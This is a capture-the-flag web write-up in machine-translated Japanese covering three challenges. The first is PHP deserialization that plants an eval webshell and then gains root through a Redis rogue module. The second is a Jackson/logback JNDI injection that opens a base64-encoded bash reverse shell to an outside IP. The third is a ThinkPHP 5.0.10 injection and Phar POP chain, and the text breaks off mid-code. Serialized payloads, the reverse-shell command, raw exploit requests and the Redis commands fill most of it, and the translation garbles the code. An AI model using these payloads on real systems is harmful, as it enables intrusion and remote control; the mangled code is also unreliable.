web
1.ESAY_EVAL
?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }
簡単な分析は、__wakeup関数をバイパスすることができます。
機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)
最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。
ペイロードを構築します
?php
クラスA {
public $ code='';
パブリック関数__construct(){
$ this-code='eval(\ $ _ post [1]);';
}
}
クラスB {
パブリック関数__construct(){
$ this-a=new a();
}
}
Echo Serialize(new B());
$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。
GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します
コード監査、直接脱力化は、テンテイジャンを構築します
小文字オブジェクトAバイパス
ペイロード
?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました
github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする
Redisは悪意のある負荷を負うので、シェルを取得します
Ant Swordは構成を見つけて復元しました
それをダウンロードしてLinuxに投げてVIで復元します
VI -R config.php
このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します
それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので
https://github.com/dliv3/redis-rogue-server
アリの剣を直接使用します
Redisプラグインを使用してRedisを接続します
127.0.0.1:6379モジュールLoad /tmp/exppadding.so
わかりました
127.0.0.133606379 System.exec 'id'
'uid=0(root)gid=0(root)グループ=0(root)\ n
添付のローカル環境」:
ubuntu:16.04から
src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします
Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim
apt -get install -y apache2runサービスapache2再起動を実行します
locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート
apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip
apt install -y gcc \ makeを実行します
Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin
src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh
80を公開します
cmd ['/start.sh']
その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。
2.Jackson
元のタイトルについては話しません
https://www.redmango.top/article/61#javaweb
まず、タイトルで与えられたpom.xmlを見てください
Shiro1.5.1、CC3.2.1タイトルはジャクソンです
その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります
ログインする必要があるJSONルートがあることがわかりました。
その後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit
Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。
ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4
post/;/json http/1.1
HOST: 8.134.37.86:20947
user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8
Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2
Connection:閉じます
アップグレード-Insecure-Requests: 1
Cache-Control: Max-age=0
Content-Type:アプリケーション/JSON
Content-Length: 97
['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a
紀元前'}]
NCがリバウンドしました、ルートディレクトリにフラグを取得するだけです
3.eztp
robots.txtを介してwww.zipソースコードを入手してください:
ディレクトリ構造:
明らかなTPフレームワークが表示され、取得されます:5.0.10
当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます
次に、コントローラーにインデックスと管理者があることを確認します。
管理者コントローラー:
インデックスコントローラー:
問題はないようです。
ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。
したがって、それは注入する必要があり、バイドゥは検索しました
このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html
ログイン管理アカウントを注入:
次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。
参照:https://www.anquanke.com/post/id/251318#h2-1
ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。
私はローカル環境をデバッグしましたが、それを見つけました:
process.php閉じる方法:
元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。
今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。
これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。
ここで私はMemcacheクラスを見つけました、
元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。
しかし、デバッグを通して:
このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました
POC:の脱気面化
?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;
プライベート$ステータス;
プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }
} namespace think; class model {
} namespace think \ model;
Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します